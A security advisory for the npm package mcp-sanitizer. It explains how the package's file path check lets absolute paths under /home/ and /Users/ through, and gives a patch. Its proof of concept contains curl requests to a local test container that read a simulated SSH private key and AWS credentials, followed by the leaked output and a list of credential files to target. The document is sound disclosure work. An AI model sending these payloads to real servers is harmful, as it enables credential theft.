GHSA-7w82-6f9j-v9jp mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

• npm mcp-sanitizer: < 1.4.0 → fixed in 1.4.0

File Path Sanitizer Permits Arbitrary User-Home Absolute Paths Summary `mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request. Details The vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist: ```js // src/utils/validation-utils.js:188-196 if (!isInSafeLocation && path.isAbsolute(normalizedPath)) { const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; const isAllowedAbsolute = allowedAbsolutePaths.some(allowed => normalizedPath.toLowerCase().startsWith(allowed.toLowerCase()) ); if (!isAllowedAbsolute) { throw new Error('Absolute path not in allowed safe directory'); } } ``` Because `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories — including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. — is considered safe and passes validation unchanged. The dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked. The full data flow from a network request to the vulnerable return value is: 1. `src/middleware/express.js:538-541` — The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: 'file_path' })`. 2. `src/sanitizer/mcp-sanitizer.js:523-524` — When `context.type === 'file_path'`, `_secureSanitizeFilePath()` is called. 3. `src/sanitizer/mcp-sanitizer.js:683-687` — `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value. 4. `src/utils/validation-utils.js:188-196` — The `/home/` prefix check passes without error. 5. `src/utils/validation-utils.js:200-201` — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value. A consumer application receiving `{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }` is expected to use that path for I/O. The sanitizer's own `README` and middleware integration imply that a `blocked: false` result is safe to act upon. Suggested patch: ```diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/']; + const sensitiveHomeFragments = [ + '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/', + '/.npmrc', '/.env' + ]; @@ + const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase(); + if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) { + throw new Error('Access to sensitive user configuration path not allowed'); + } @@ • const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; + const allowedAbsolutePaths = ['/tmp/', '/var/tmp/']; ``` PoC Environment requirements: Docker, Python 3, Node.js 20 Step 1 — Build and start the reproduction container: ```bash From the vuln-002/ directory python3 poc.py ``` The script automatically: 1. Copies the `mcp-sanitizer` source into a Docker build context. 2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container. 3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path. 4. Sends the three test requests described below. Step 2 — Manual HTTP requests (after the container is running on port 13572): Control test — must be blocked: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}' Expected: {"blocked": true} ``` Exploit test 1 — SSH private key exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}' Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."} ``` Exploit test 2 — AWS credentials exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}' Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."} ``` Observed results (Phase 2 dynamic reproduction): ``` [Test 1 — Control] POST /tool {file_path: '/etc/passwd'} => blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/) [Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'} => blocked=false, EXPLOIT_SUCCESS=true sanitized_path: /home/victim/.ssh/id_rsa file_content: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002 -----END RSA PRIVATE KEY----- [Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'} => blocked=false, EXPLOIT_SUCCESS=true file_content: [default] aws_access_key_id = AKIAIOSFODNN7EXAMPLE aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY region = us-east-1 ``` Root cause confirmed: `validation-utils.js:190` — `allowedAbsolutePaths` includes `'/home/'` and `'/Users/'`; any absolute path starting with `/home/` passes with `blocked=false`. Impact This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability. Any application that integrates `mcp-sanitizer` to validate file paths for MCP `file_reader` or `file_writer` tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under `/home/` or `/Users/` — requiring no authentication, no special privileges, and no interaction from a legitimate user. Sensitive targets include but are not limited to: • SSH private keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`) • Cloud provider credentials (`~/.aws/credentials`, `~/.config/gcloud/credentials.db`) • Kubernetes config (`~/.kube/config`) • GPG keys (`~/.gnupg/`) • Application tokens (`~/.npmrc`, `~/.netrc`, `~/.env`) The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files. Reproduction artifacts `Dockerfile` ```dockerfile VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass Builds a Node 20 container with: • mcp-sanitizer source from the local repo • Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/ • A consumer HTTP server that trusts the sanitizer FROM node:20-slim LABEL vuln="VULN-002" \ cwe="CWE-22" \ title="mcp-sanitizer home-directory path bypass…